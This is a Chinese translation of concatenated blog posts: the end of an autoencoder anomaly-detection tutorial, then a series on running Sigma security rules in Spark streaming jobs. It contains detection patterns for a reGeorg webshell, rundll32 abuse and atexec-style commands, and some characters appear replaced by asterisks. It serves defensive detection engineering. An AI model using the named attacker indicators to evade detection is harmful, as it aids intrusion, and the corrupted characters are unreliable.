26/26 [==============================] - 2s 89ms/step - loss: 12890.8428 - val_loss: 13322.0488
如你所见,损失没有太多变化,这只是因为我们没有标签。相反,我们将训练特征传递给它两次。损失来自将原始图像与自编码器重建图像进行比较。
模型评估
模型评估与常规监督学习模型不同,因为自编码器不是监督学习方法。让我们一步一步来做。
首先,我们将像往常一样进行预测,这将是通过自编码器模型解码的图像。
然后,使用原始错误和重建错误计算均方误差,并将其保存到‘errors’列表中。这里是相关代码。
decoded = autoencoder.predict(test_x)
errors = []
for (image, recon) in zip(total_images, decoded):
mse = np.mean((image - recon) ** 2)
errors.append(mse)
由于我们有测试集中所有图像的‘mse’,我们选择一个阈值。在这里,我使用了 np.quantile 方法的 95% 分位数,并从‘errors’中获取‘mse’大于阈值的索引。当‘mse’大于我们决定的阈值错误时,我们将其视为异常。
thresh = np.quantile(errors, 0.95)
idxs = np.where(np.array(errors) >= thresh)[0]
idxs
输出:
array([ 9, 10, 35, 59, 84, 134, 146, 188, 200, 201, 202])
现在,让我们回到之前为训练准备的图像数据集‘total_images’。我们需要检查这些超过阈值的索引是否实际上是异常:
for i in idxs:
if total_images[i] in images_anomaly:
print(True)
输出:
True
True
True
True
True
True
True
True
True
True
True
是的!!它们都是异常数据。如果你计算上面的‘True’数量,我们这里有 11 个‘True’。我们可以检查‘images_anomaly’中最初有多少异常数据:
len(images_anomaly)
输出:
11
因此,我们使用自编码器模型找到了所有的异常数据。
结论
我还有另一个使用概率来发现异常的异常检测教程。请查看下面的‘更多阅读’部分。这里我们使用了 TensorFlow 和 Keras,它们是处理图像和更复杂数据的更高级工具。正如我在介绍中提到的,自编码器也可以用于各种其他任务。我将在未来的帖子中分享更多自编码器的应用案例,以及 TensorFlow 和 Keras 中的更多前沿技术。
欢迎关注我的 Twitter 和点赞我的 Facebook 页面。
更多阅读:
从头开始用 Python 实现完整的异常检测算法:逐步指南 | 作者:Rashida Nasrin Sucky | Towards Data Science (medium.com)
完整实现迷你 VGG 网络用于图像识别 | 作者:Rashida Nasrin Sucky | Towards Data Science (medium.com)
使用 Keras 调参器进行 TensorFlow 模型的超参数调整 | 作者:拉希达·纳斯林·苏基 | 发表在 AI 方向 (medium.com)
在编写 Apache Beam 管道时使用 Map、Filter 和 CombinePerKey 转换的示例 | 作者:拉希达·纳斯林·苏基 | 发表在数据科学方向 (medium.com)
使用 Sigma 规则进行异常检测:构建您自己的 Spark 流处理检测
轻松在 Spark 流处理管道中部署 Sigma 规则:一种支持即将发布的 Sigma 2 规范的未来-proof 解决方案
·
Follow 发表在 Towards Data Science · 13 分钟阅读 · 2023 年 6 月 12 日
--
由 Dana Walker 拍摄于 Unsplash
在我们之前的文章中,我们详细阐述并设计了一个名为 flux-capacitor 的有状态函数。
flux-capacitor 有状态函数可以记住日志事件之间的父子(和祖先)关系。它还可以记住在特定时间窗口内在同一主机上发生的事件,Sigma 规范称之为 时间临近相关性。
要深入了解 flux-capacitor 的设计,请参阅 第一部分,第二部分,第三部分,第四部分 和 第五部分。不过,你不需要理解功能的实现就可以使用它。
在本文中,我们首先展示一个执行离散检测的 Spark 流处理作业。离散检测是一个 Sigma 规则,它使用单个日志行(单个事件)的特征和值。
然后,我们利用 flux-capacitor 功能来处理日志事件之间的有状态父子关系。flux-capacitor 还能检测在特定时间窗口内在同一主机上发生的多个事件,这些在即将发布的 Sigma 规范中被称为 时间临近相关性。这些 Spark 流处理作业的完整演示可以在我们的 git repo 中找到。
离散检测
执行离散测试相当简单,这要归功于 Spark 中开箱即用的所有内置功能。Spark 支持读取流数据源、写入接收器、检查点、流流连接、窗口聚合等功能。有关所有可能功能的完整列表,请参阅全面的 Spark 结构化流处理编程指南。
这里是一个高层次的图示,展示了一个 Spark 流处理作业,它从“start-process”窗口事件的 Iceberg 表中消费事件(1)。一个经典的例子可以在 Windows Security Logs (事件 ID 4688) 中找到。
离散检测的拓扑结构
源表(1)名为process_telemetry_table
。Spark 作业读取所有事件,检测异常事件,标记这些事件,并将其写入名为tagged_telemetry_table
的表(3)。被认为异常的事件也会写入一个包含警报的表(4)。
定期我们轮询一个包含我们想要应用的 Sigma 规则自动生成的 SQL 的 git 仓库(5)。如果 SQL 语句发生变化,我们重新启动流处理作业以将这些新的检测添加到管道中。
以这个 Sigma 规则为例:
来自proc_creation_win_rundll32_sys.yml 在 Sigma HQ 的截图
detection
部分是 Sigma 规则的核心,包括一个condition
和一个或多个命名测试。selection1
和selection2
是命名的布尔测试。Sigma 规则的作者可以为这些测试命名有意义的名称。condition
是用户可以在最终评估中组合测试的地方。有关编写 Sigma 规则的更多细节,请参见Sigma 规范。
从现在开始,我们将这些命名的布尔测试称为标签。
Spark 流处理作业的内部工作分为 4 个逻辑步骤:
-
读取源表
process_telemetry_table
-
执行模式匹配
-
评估最终条件
-
写入结果
模式匹配步骤包括评估在 Sigma 规则中找到的标签,最终条件评估评估condition
。
在该图的右侧,我们展示了在此处理阶段该行的样子。蓝色的列表示从源表中读取的值。模式匹配步骤添加了一列名为Sigma tags
,这是所有执行的测试及其通过或失败情况的映射。灰色列包含最终的 Sigma 规则评估。最后,棕色列是在 foreachBatch 函数中添加的。生成了一个 GUID,从 Sigma 标签映射中提取出为真的规则名称,并从规则名到规则类型的查找映射中检索检测action
。这为生成的警报提供了上下文。
此图描绘了事件的属性如何组合成标签、最终评估和最终上下文信息。
现在让我们看看实际的 pyspark 代码。首先,我们使用readStream
函数将 spark 连接到源表,并指定从中读取冰山表的名称。load
函数返回一个数据帧,我们用它来创建一个名为process_telemetry_view
的视图。
spark
.readStream
.format("iceberg")
.option("stream-from-timestamp", ts)
.option("streaming-skip-delete-snapshots", True)
.option("streaming-skip-overwrite-snapshots", True)
.load(constants.process_telemetry_table)
.createOrReplaceTempView("process_telemetry_view")
process_telemetry_view
中的数据如下所示:
+-------------------+---+---------+---------------------+
|timestamp |id |parent_id|Commandline |
+-------------------+---+---------+---------------------+
|2022-12-25 00:00:01|11 |0 | |
|2022-12-25 00:00:02|2 |0 |c:\win\notepad.exe |
|2022-12-25 00:00:03|12 |11 | |
|2022-12-25 00:00:08|201|200 |cmdline and args |
|2022-12-25 00:00:09|202|201 | |
|2022-12-25 00:00:10|203|202 |c:\test.exe |
+-------------------+---+---------+---------------------+
在此视图上,我们应用了一个 模式匹配 步骤,该步骤由 Sigma 编译器生成的 SQL 语句组成。patern_match.sql
文件如下所示:
select
*,
-- regroup each rule's tags in a map (ruleName -> Tags)
map(
'rule0',
map(
'selection1', (CommandLine LIKE '%rundll32.exe%'),
'selection2', (CommandLine LIKE '%.sys,%' OR CommandLine LIKE '%.sys %'),
)
) as sigma
from
process_telemetry_view
我们使用 spark.sql()
将此语句应用于 process_telemetry_view
视图。
df = spark.sql(render_file("pattern_match.sql"))
df.createOrReplaceTempView("pattern_match_view")
请注意,每个 Sigma 规则中找到的标签的结果存储在一个布尔值映射中。sigma
列保存了每个 Sigma 规则中找到的每个标签的结果。通过使用 MapType,我们可以轻松引入新的 Sigma 规则,而不会影响表的模式。添加新规则只是简单地在 sigma
列(一个 MapType)中增加一项新条目。
+---+---------+---------------------+----------------------------------+
|id |parent_id|Commandline |sigma
+---+---------+---------------------+----------------------------------+
|11 |0 | |{rule0 -> {
selection1 -> false,
selection2 -> false
},
}
同样,评估最终条件 步骤应用了 Sigma 规则中的条件。condition
被编译成一个 SQL 语句,该语句使用 map, map_filter, map_keys 来构建一个名为 sigma_final
的列。此列包含所有条件评估为真规则的名称。
select
*,
map_keys( -- only keep the rule names of rules that evaluted to true
map_filter( -- filter map entries keeping only rules that evaluated to true
map( -- store the result of the condition of each rule in a map
'rule0',
-- rule 0 -> condition: all of selection*
sigma.rule0.selection1 AND sigma.rule0.selection2)
)
, (k,v) -> v = TRUE)) as sigma_final
from
pattern_match_view
自动生成的语句使用 spark.sql()
应用。
df = spark.sql(render_file("eval_final_condition.sql"))
这是添加了新列 sigma_final
后的结果,列出了触发的规则数组。
+---+---------+-------------------------------------+-------------+
|id |parent_id|sigma | sigma_final |
+---+---------+-------------------------------------+-------------+
|11 |0 |{rule0 -> { | [] |
selection1 -> false,
selection2 -> false
}
}
我们现在准备开始对我们的数据帧进行流处理作业。请注意,我们将回调函数 for_each_batch_function
传递给 foreachBatch
。
streaming_query = (
df
.writeStream
.queryName("detections")
.trigger(processingTime=f"{trigger} seconds")
.option("checkpointLocation", get_checkpoint_location(constants.tagged_telemetry_table) )
.foreachBatch(foreach_batch_function)
.start()
)
streaming_query.awaitTermination()
for_each_batch_function
在每个微批次中被调用,并接收评估后的 batchdf
数据帧。for_each_batch_function
将 batchdf
的全部内容写入 tagged_telementry_table
,并对任何评估为真的 Sigma 规则写入警报。
def foreach_batch_function(batchdf, epoch_id):
# Transform and write batchDF
batchdf.persist()
batchdf.createOrReplaceGlobalTempView("eval_condition_view")
run("insert_into_tagged_telemetry")
run("publish_suspected_anomalies")
spark.catalog.clearCache()
详细信息请参见我们的 Git 仓库中的 insert_into_tagged_telemetry.sql 和 publish_suspected_anomalies.sql。
如上所述,使用 Spark 内置功能编写流式异常检测处理离散测试相对简单。
基于过去事件的检测
迄今为止,我们展示了如何使用离散 Sigma 规则检测事件。在本节中,我们利用 flux-capacitor 函数来启用缓存标签和测试过去事件的标签。正如我们在之前的文章中讨论的,flux-capacitor 使我们能够检测父子关系以及过去事件的仲裁特征序列。
这些类型的 Sigma 规则需要同时考虑当前事件和过去事件的标签。为了执行最终规则评估,我们引入了 Time travel tags 步骤,以检索事件的所有过去标签,并将它们与当前事件合并。这正是 flux-capacitor 函数设计的目的,它缓存和检索过去的标签。现在,过去标签和当前标签在同一行上,Eval final condition 可以像我们在上述离散示例中所做的那样进行评估。
现在检测结果如下:
flux-capacitor 接收 Pattern Match 步骤生成的 Sigma tags
。flux-capacitor 存储这些标签以备后用。红色的列具有与我们之前使用的 Sigma tags
列相同的模式。然而,它结合了当前标签和从内部状态检索到的过去标签。
借助 flux-capacitor 函数,添加过去标签的缓存和检索变得容易。在我们的 Spark 异常检测中,我们是这样应用 flux-capacitor 函数的。首先,将 Pattern Match 步骤生成的数据框传递给 flux_stateful_function
,该函数返回另一个数据框,其中包含过去的标签。
flux_update_spec = read_flux_update_spec()
bloom_capacity = 200000
# reference the scala code
flux_stateful_function = spark._sc._jvm.cccs.fluxcapacitor.FluxCapacitor.invoke
# group logs by host_id
jdf = flux_stateful_function(
pattern_match_df._jdf,
"host_id",
bloom_capacity,
flux_update_spec)
output_df = DataFrame(jdf, spark)
为了控制 flux_stateful_function
的行为,我们传入一个 flux_update_spec
。flux-capacitor 规范是由 Sigma 编译器生成的 yaml 文件。规范详细说明了哪些标签应该被缓存和检索,以及它们应该如何处理。action
属性可以设置为 parent
、ancestor
或 temporal
。
让我们使用 Sigma HQ 的一个具体例子 proc_creation_win_rundll32_executable_invalid_extension.yml
来自 Sigma HQ github 的截图
再次强调,检测的核心由标签和一个最终的 condition
组成,它将所有这些标签组合在一起。然而,请注意,这条规则(我们称之为规则 1)涉及对 CommandLine
的测试,还测试了父进程 ParentImage
。ParentImage 不是在启动进程日志中找到的字段。相反,它指的是父进程的 Image 字段。
如之前所见,这个 Sigma 规则将被编译成 SQL 用于评估标签,并将它们组合成最终条件。
为了传播父标签,Sigma 编译器还生成了一个 flux-capacitor 规范。规则 1 是一个 parent
规则,因此规范必须指定什么是父字段和子字段。在我们的日志中,这些对应于 id
和 parent_id
。
规范还指定了哪些 tags
应该被 flux-capacitor 函数缓存和检索。以下是自动生成的规范:
rules:
- rulename: rule1
description: proc_creation_win_run_executable_invalid_extension
action: parent
tags:
- name: filter_iexplorer
- name: filter_edge_update
- name: filter_msiexec_system32
parent: parent_id
child: id
请注意规则 0 不包含在 flux-capacitor 函数中,因为它没有时间标签。
标记传播示例
为了更好地理解 flux-capacitor 的作用,你可以在流分析之外使用该函数。这里我们展示了一个简单的 祖先 示例。我们想要传播 pf
标签。例如,pf
可能表示包含 rundll32.exe
的 CommandLine
。
spec = """
rules:
- rulename: rule2
action: ancestor
child: pid
parent: parent_pid
tags:
- name: pf
"""
df_input = spark.sql("""
select
*
from
values
(TIMESTAMP '2022-12-30 00:00:05', 'host1', 'pid500', '', map('rule1', map('pf', true, 'cf', false))),
(TIMESTAMP '2022-12-30 00:00:06', 'host1', 'pid600', 'pid500', map('rule1', map('pf', false, 'cf', false))),
(TIMESTAMP '2022-12-30 00:00:07', 'host1', 'pid700', 'pid600', map('rule1', map('pf', false, 'cf', true)))
t(timestamp, host_id, pid, parent_pid, sigma)
""")
打印数据框 df_input
我们看到 pid500 启动并具有带有 pf
特性的 CommandLine
。然后 pid500 启动了 pid600。之后 pid600 启动了 pid700。Pid700 具有子特性 cf
。
+-------------------+------+----------+--------------+-------------------------------------+
|timestamp |pid |parent_pid|human_readable|sigma |
+-------------------+------+----------+--------------+-------------------------------------+
|2022-12-30 00:00:05|pid500| |[pf] |{rule2 -> {pf -> true, cf -> false}} |
|2022-12-30 00:00:06|pid600|pid500 |[] |{rule2 -> {pf -> false, cf -> false}}|
|2022-12-30 00:00:07|pid700|pid600 |[cf] |{rule2 -> {pf -> false, cf -> true}} |
+-------------------+------+----------+--------------+-------------------------------------+
Sigma 规则是 pf
和 cf
的组合。为了将 pf
标签带回当前行,我们需要对 pf
标签应用时间旅行。将 flux-capacitor 函数应用于 df_input
数据框。
jdf = flux_stateful_function(df_input._jdf, "host_id", bloom_capacity, spec, True)
df_output = DataFrame(jdf, spark)
我们获得了 df_output
数据框。注意 pf
标签如何在时间中传播。
+-------------------+------+----------+--------------+------------------------------------+
|timestamp |pid |parent_pid|human_readable|sigma |
+-------------------+------+----------+--------------+------------------------------------+
|2022-12-30 00:00:05|pid500| |[pf] |{rule2 -> {pf -> true, cf -> false}}|
|2022-12-30 00:00:06|pid600|pid500 |[pf] |{rule2 -> {pf -> true, cf -> false}}|
|2022-12-30 00:00:07|pid700|pid600 |[pf, cf] |{rule2 -> {pf -> true, cf -> true}} |
+-------------------+------+----------+--------------+------------------------------------+
本笔记本 TagPropagationIllustration.ipynb 包含了更多类似的父子和时间邻近的示例。
构建带有上下文的警报
flux-capacitor 函数缓存所有过去的标签。为了节省内存,它使用布隆过滤器段缓存这些标签。布隆过滤器具有极*的内存占用,查询和更新都很快。然而,它们确实引入了可能的假阳性。因此,我们的检测可能实际上是一个假阳性。为了解决这个问题,我们将怀疑的异常放入队列 (4) 进行重新评估。
为了消除假阳性,第二个名为 警报生成器 的 Spark 流作业读取怀疑的异常 (5) 并检索需要重新评估规则的事件 (6)。
例如,在父子 Sigma 规则的情况下,警报生成器将读取怀疑的异常 (5),检索子进程事件。接下来,在 (6) 中,它将检索该子事件的父进程。然后,利用这两个事件重新评估 Sigma 规则。然而,这次 flux-capacitor 配置为将标签存储在哈希映射中,而不是布隆过滤器中。这消除了假阳性,并且作为额外的好处,我们获得了所有参与检测的事件。我们将此警报及证据行(父子事件)存储到警报表中 (7)。
带有状态检测的拓扑(时间)
警报生成器 处理的量仅为 (2) 流检测 的一*部分。由于在 (5) 中读取的低量,历史搜索到标记的遥测 (6) 是可能的。
想要更深入地了解,请查看 流检测 的 Spark 作业 streaming_detections.py 和 警报生成器 streaming_alert_builder.py。
性能
为了评估这个概念验证的性能,我们在拥有 16 个 CPU 和 64G 内存的机器上进行了测试。我们编写了一个简单的数据生成器,每秒创建 5,000 个合成事件,并在 30 天内进行了实验。
Spark Streaming Detections 作业在一台机器上运行。该作业配置为每分钟触发一次。每个微批次(触发)读取 300,000 个事件,平均需要 20 秒完成。该作业可以轻松跟上输入事件的速率。
Spark Streaming Detections
Spark Alert Builder 在单台机器上运行,并配置为每分钟触发一次。这个作业完成需要 30 到 50 秒的时间。该作业对 tagged_telemetry_table
的组织方式非常敏感。这里我们看到*护作业的效果,每*时组织并排序最新数据。因此,每*时,Spark Alert Builder 的微批处理执行时间恢复到 30 秒。
Spark Streaming Alert Builder
表*护
我们的 Spark 流作业每分钟触发一次,因此每分钟产生*型数据文件。为了在这个表中实现快速搜索和检索,定期对数据进行压缩和排序非常重要。幸运的是,Iceberg 提供了内置程序来组织和*护您的表。
例如,这个脚本 maintenance.py 每*时运行一次,用于对 Iceberg 的 tagged_telemetry_table
中新增加的文件进行排序和压缩。
CALL catalog.system.rewrite_data_files(
table => 'catalog.jc_sched.tagged_telemetry_table',
strategy => 'sort',
sort_order => 'host_id, has_temporal_proximity_tags',
options => map('min-input-files', '100',
'max-concurrent-file-group-rewrites', '30',
'partial-progress.enabled', 'true'),
where => 'timestamp >= TIMESTAMP \'2023-05-06 00:00:00\' '
)
每天结束时,我们还会重新对这个表进行排序,以在长时间搜索期间(几个月的数据)实现最大的搜索性能。
CALL catalog.system.rewrite_data_files(
table => 'catalog.jc_sched.tagged_telemetry_table',
strategy => 'sort',
sort_order => 'host_id, has_temporal_proximity_tags',
options => map('min-input-files', '100',
'max-concurrent-file-group-rewrites', '30',
'partial-progress.enabled', 'true',
'rewrite-all', 'true'),
where => 'timestamp >= TIMESTAMP \'2023-05-05 00:00:00\' AND timestamp < TIMESTAMP \'2023-05-06 00:00:00\' '
)
我们还执行另一个*护任务,即从流表中删除旧数据。这些表仅用作生产者和消费者之间的缓冲区。因此,每天我们会对流表进行老化处理,保留最近 7 天的数据。
delete from catalog.jc_sched.process_telemetry_table
where
timestamp < current_timestamp() - interval 7 days
最后,每天我们执行标准的 Iceberg 表*护任务,如过期快照和删除孤立文件。我们在所有表上运行这些*护作业,并在Airflow上安排这些作业的时间。
结论
在本文中,我们展示了如何构建一个 Spark 流异常检测框架,通用地应用 Sigma 规则。新的 Sigma 规则可以轻松添加到系统中。
这个概念验证在合成数据上进行了广泛测试,以评估其稳定性和可扩展性。它显示出很大的潜力,将在生产系统上进一步评估。
除非另有说明,所有图片均为作者所有
使用 Sigma 规则进行异常检测(第一部分):利用 Spark SQL 流处理
Sigma 规则用于检测网络安全日志中的异常。我们使用 Spark 结构化流处理来大规模评估 Sigma 规则。
·
关注 发表在 Towards Data Science ·8 min 阅读·2023 年 1 月 24 日
--
摄影:Tom Carnegie,来源于 Unsplash,加拿大最高法院
数据草图的兴起
数据草图是一个总括性术语,涵盖了使用理论数学、统计学和计算机科学的各种数据结构和算法,以解决集合基数、分位数、频率估计等问题,并具有数学上证明的误差范围。
数据草图比传统方法快几个数量级,它们需要更少的计算资源,有时是解决大数据问题的唯一可行解决方案。要了解更多关于数据草图的信息,请查看 Apache Data Sketch 项目。
草图实现了可以从中提取信息的算法。
在单次传输的数据流中,这也被称为“单次触摸”处理。
Spark 大量利用数据草图,例如:*度缩减、局部敏感哈希、计数最*草图。
在这一系列文章中,我们将带你深入了解高性能欺诈检测系统的设计。通过实际例子,我们评估并对比了传统算法与基于数据草图的算法的性能。
什么是 Sigma 规则
Sigma 是一种通用签名格式,允许你在日志事件中进行检测。规则易于编写,适用于任何类型的日志。最重要的是,Sigma 规则是抽象的,不绑定于任何特定的 SIEM,使得 Sigma 规则可共享。
一旦网络安全研究人员或分析师开发了检测方法,他们可以使用 Sigma 描述并与他人分享他们的技术。以下是来自 Sigma HQ 的一段话:
规则的核心是检测部分。当条件评估为 true 时,意味着我们进行了检测。条件由命名表达式组成。例如,这里声明了选择和过滤表达式。这些表达式对日志的属性进行测试。在这种情况下是 web 日志。
Sigmac 生成 SQL
Sigmac 编译器用于将抽象的 Sigma 规则转换为具体的形式,以便实际的 SIEM 或处理平台进行评估。Sigmac 具有许多后端,能够将规则转换为 QRadar、ElasticSearch、ArcSight、FortiSIEM 和通用 SQL。
使用 SQL sigmac 后端,我们可以将上述规则转换为:
SELECT
*
FROM
(
SELECT
(
(cs-uri-query LIKE '%cmd=read%'
OR cs-uri-query LIKE '%connect&target%'
OR cs-uri-query LIKE '%cmd=connect%'
OR cs-uri-query LIKE '%cmd=disconnect%'
OR cs-uri-query LIKE '%cmd=forward%')
AND (cs-referer IS NULL
AND cs-USER-agent IS NULL
AND cs-METHOD LIKE 'POST'))
AS web_webshell_regeorg,
*
FROM
test_webserver_logs
)
WHERE
web_webshell_regeorg = TRUE
这些 SQL 语句通常由调度器在特定触发间隔(例如 1 *时)下调用。每*时,检测系统会搜索最新的事件。
然而,一些 Sigma 规则应用了时间聚合。例如,通过全球目录进行枚举计算一段时间窗口内事件的发生次数。
detection:
selection:
EventID: 5156
DestPort:
- 3268
- 3269
timeframe: 1h
condition: selection | count() by SourceAddress > 2000
使用上述批处理模型,这些类型的查询会一遍又一遍地重新处理相同的事件。特别是当相关窗口很大时。此外,如果我们试图通过将触发频率提高到每5 分钟
来减少检测延迟,我们将引入更多对相同事件的重新处理。
理想情况下,为了减少对相同事件的反复处理,我们希望异常检测能够记住上一个处理的事件是什么,以及迄今为止计数器的值。这正是 Spark Structured Streaming 框架所提供的功能。流式查询每分钟触发一次微批处理(可配置)。它读取新事件,更新所有计数器并将其持久化(用于灾难恢复)。
在这种模型中,每个事件只评估一次。提高触发频率不会像无状态批处理模型那样产生相同的成本。而且由于事件只评估一次,复杂的检测(如正则表达式匹配)不会产生膨胀的成本。
使用 Spark Streaming 运行检测
Spark Structured Streaming 可以轻松评估 sigmac 编译器生成的 SQL。首先,我们通过连接到我们最喜欢的队列机制(EventHubs,Kafka)来创建一个流数据框。在本例中,我们将从一个 Iceberg 表中readStream
,该表中事件会被增量插入。了解有关 Iceberg 流能力的更多信息,请点击这里。
# current time in milliseconds
ts = int(time.time() * 1000)
# create a streaming dataframe for an iceberg table
streamingDf = (
spark.readStream
.format("iceberg")
.option("stream-from-timestamp", ts)
.option("streaming-skip-delete-snapshots", True)
.load("icebergcatalog.dev.events_table")
)
# alias the dataframe to a table named "events"
streamingDf.createOrReplaceTempView("events")
注意,我们将流数据框别名为视图名称events
。这样做是为了在 SQL 语句中引用此流数据框,即:select * from events
。我们现在要做的就是配置 sigmac 编译器,以便对events
表生成 SQL 语句。例如,生成的 sql 文件可能如下所示:
SELECT
(cs-uri-query LIKE '%cmd=read%'
OR cs-uri-query LIKE '%connect&target%'
OR cs-uri-query LIKE '%cmd=connect%'
OR cs-uri-query LIKE '%cmd=disconnect%'
OR cs-uri-query LIKE '%cmd=forward%')
AND (cs-referer IS NULL
AND cs-USER-agent IS NULL
AND cs-METHOD LIKE 'POST'))
AS web_webshell_regeorg,
-- another detection here
cs-uri-query LIKE '%something%'
AS detection2
*
FROM
events
在我们的分析中,我们加载生成的 SQL 并要求 Spark 从中创建一个hitsDf
数据框。
# load auto-generated SQL statement
with open('./generated_sql_statement.sql', 'r') as f:
detections_sql = f.read()
hitsDf = spark.sql(detections_sql)
我们通过调用writeStream
启动流查询,并配置查询以每分钟触发一次微批处理。此流查询将无限期运行,将检测结果写入我们选择的接收端。这里我们只是将结果写入控制台接收端,但我们也可以写入另一个 Iceberg 表。或者,我们可以使用[forEachBatch](https://spark.apache.org/docs/latest/structured-streaming-programming-guide.html#using-foreach-and-foreachbatch)
执行一些任意的 python 代码,例如,将通知推送到 REST 端点。或者我们甚至可以同时做这两件事。
# start a streaming query printing results to the console
query = (
hitsDf.writeStream
.outputMode("append")
.format("console")
.trigger(processingTime="1 minute")
.start()
)
父进程挑战
到目前为止,我们已经看到了如何检测离散事件中的异常。然而,Sigma 规则可以将事件与之前的事件相关联。一个经典的例子是在 Windows 安全日志 (事件 ID 4688) 中找到的。在这个日志源中,我们可以找到有关进程创建的信息。该日志中的一个关键部分是启动此进程的进程。你可以使用这些 Process ID
来确定程序在运行时做了什么等。
以这个 Sigma 规则为例:Rundll32 执行没有 DLL 文件。
detection:
selection:
Image|endswith: '\rundll32.exe'
filter_empty:
CommandLine: null
filter:
- CommandLine|contains: '.dll'
- CommandLine: ''
filter_iexplorer:
ParentImage|endswith: ':\Program Files\Internet Explorer\iexplore.exe'
CommandLine|contains: '.cpl'
filter_msiexec_syswow64:
ParentImage|endswith: ':\Windows\SysWOW64\msiexec.exe'
ParentCommandLine|startswith: 'C:\Windows\syswow64\MsiExec.exe -Embedding'
filter_msiexec_system32:
ParentImage|endswith: ':\Windows\System32\msiexec.exe'
ParentCommandLine|startswith: 'C:\Windows\system32\MsiExec.exe -Embedding'
filter_splunk_ufw:
ParentImage|endswith: ':\Windows\System32\cmd.exe'
ParentCommandLine|contains: ' C:\Program Files\SplunkUniversalForwarder\'
filter_localserver_fp:
CommandLine|contains: ' -localserver '
condition: selection and not 1 of filter*
在原始遥测中,一个事件只知道父级 Process ID
。然而,规则中提到 ParentImage
和 ParentCommandLine
。规则基本上假设已经进行了连接。
幸运的是,Spark Structured Streaming 支持 流-流连接。为了检索 ParentImage
和 ParentCommandLine
,我们对进程日志进行自连接。我们将 current
侧与 parent_of_interest
侧连接。连接条件如下:
current.ParentProcessID = parent_of_interest.ProcessID
左侧:为每个检测规则设置标志
我们使用 c
作为当前进程的约定,使用 r1
作为规则 1。
因此,在 Rundll32 执行没有 DLL 文件(规则 1)中,filter_empty
被
%%sparksql --view current --output skip
select
*,
ID,
CommandLine,
ImagePath,
-- rule 1
ImagePath ilike '%\\\\rundll32.exe' as cr1_selection,
Commandline is null as cr1_filter_empty,
Commandline ilike '%.dll%' OR Commandline = '' as cr1_filter,
Commandline ilike '% -localserver %' as cr1_filter_localserver_fp
from
events
右侧:在 parents_of_interest
上过滤消息
对于应用于父进程的条件,我们也进行相同的操作。然而,在这种情况下,我们还会过滤表格。这意味着被过滤的父进程的所有标志必然都设置为 FALSE
。通过过滤,我们大大减少了执行流式连接时需要缓存的 parents_of_interest
键的数量。
%%sparksql --output skip --view parents_of_interest
select
*
from (
select
host_id as parent_host_id,
ID as parent_id,
ImagePath as parent_imagepath,
CommandLine as parent_commandline,
-- rule 1
(ImagePath ilike '%:\Program Files\Internet Explorer\iexplore.exe'
AND CommandLine ilike '%.cpl%')
as pr1_filter_iexplorer,
(ImagePath ilike '%:\Windows\SysWOW64\msiexec.exe'
AND CommandLine ilike 'C:\Windows\syswow64\MsiExec.exe -Embedding%')
as pr1_filter_msiexec_syswow64,
(ImagePath ilike '%:\Windows\System32\msiexec.exe' AND
CommandLine ilike 'C:\Windows\system32\MsiExec.exe -Embedding%')
as pr1_filter_msiexec_system32
from
events
)
where
pr1_filter_iexplorer
OR pr1_filter_msiexec_syswow64
OR pr1_filter_msiexec_system32
将当前与其父级连接
我们对父级侧进行左连接。由于父级侧被过滤,因此可能找不到对应的父进程 ID。当未找到父进程时,列将具有标志设置为 NULL。我们使用 coalesce
将这些父级标志的值设置为 FALSE
。pr3_selection_atexec
是一个父标志,因此我们像这样应用 coalesce
:
coalesce(pr3_selection_atexec, FALSE)
我们还组合来自当前和父级的条件。例如,selection_atexec
条件由父级和子级条件组成。
selection_atexec:
ParentCommandLine|contains:
- 'svchost.exe -k netsvcs'
- 'taskeng.exe'
CommandLine|contains|all:
- 'cmd.exe'
- '/C'
- 'Windows\Temp\'
- '&1'
因此我们像这样组合它们:
cr3_selection_atexec AND coalesce(pr3_selection_atexec, FALSE)
as r3_selection_atexec,
r3_selection_atexec
是规则 3 中 selection_atexec
的最终标志。
%%sparksql --view joined --output skip
select
--rule1
cr1_selection as r1_selection,
cr1_filter_empty as r1_filter_empty,
cr1_filter as r1_filter,
cr1_filter_localserver_fp as r1_filter_localserver_fp,
coalesce(pr1_filter_iexplorer, FALSE) as r1_filter_iexplorer,
coalesce(pr1_filter_msiexec_syswow64, FALSE) as r1_filter_msiexec_syswow64,
coalesce(pr1_filter_msiexec_system32, FALSE) as r1_filter_msiexec_system32,
parent_host_id,
parent_id,
parent_imagepath,
parent_commandline
from
current as c
left join parents_of_interest as p
on c.ParentProcessID = p.parent_id
最后我们应用 Sigma 规则条件
例如规则 1 的条件是:
condition: selection and not 1 of filter*
我们只需应用这个条件,并将结果命名为 rule1
。
r1_selection AND NOT (r1_filter_empty
OR r1_filter
OR r1_filter_localserver_fp
OR r1_filter_iexplorer
OR r1_filter_msiexec_syswow64
OR r1_filter_msiexec_system32)
as rule1,
以下是完整语句中的条件。
%%sparksql --output json
select
*
from (
select
*,
-- rule 1 -> condition: selection and not 1 of filter*
r1_selection AND NOT (r1_filter_empty
OR r1_filter
OR r1_filter_localserver_fp
OR r1_filter_iexplorer
OR r1_filter_msiexec_syswow64
OR r1_filter_msiexec_system32)
as rule1,
from
joined
)
where
rule1 = TRUE
请注意,sigmac 编译器不会生成这种类型的 SQL。然而,我们计划编写一个自定义的 sigma 编译器以生成上述 SQL 语句。
执行这些 SQL 语句与我们最初的示例没有区别。
Spark Structured Streaming 可以在微批处理之间保持和持久化状态。在文档中,Spark 称之为窗口分组聚合。相同的原则适用于流-流连接。你可以配置 Spark 来缓存聚合,或者在这种情况下,缓存parents_of_interests
的行在一个窗口中。
然而,这种方式的扩展性如何?我们可以在 Spark 的状态存储窗口中保留多少行parents_of_interests
?
在我们下一篇文章中,我们将回答这些问题。为了不遗漏,请关注我们并订阅邮件获取这些故事。敬请期待!
除非另有说明,所有图像均由作者提供。
使用 Sigma 规则的异常检测(第二部分) Spark 流-流连接
一类 Sigma 规则检测时间相关性。我们评估了 Spark 的有状态对称流-流连接在执行时间相关性时的可扩展性。
·
关注 发表在Towards Data Science ·7 分钟阅读·2023 年 2 月 2 日
--
由 Naveen Kumar 拍摄,来自 Unsplash
跟进我们之前的文章,我们评估了 Spark 将一个开始进程事件与其父开始进程事件进行连接的能力。
在这篇文章中,我们评估了 Spark 流-流连接的扩展性。具体来说,它能在连接窗口中容纳多少事件。
在我们的研究中,我们评估了几种方法:
完全连接
完整的流-流连接需要缓存连接右侧的所有先前事件(父项启动过程)。由于只有这些父项启动过程事件的子集是感兴趣的,因此不需要所有过去的父项启动过程详细信息。例如,一个 Sigma 规则可能会指定一个包含字符串 .cpl
的父项 CommandLine——所有其他事件可以被忽略。
加入感兴趣的父项
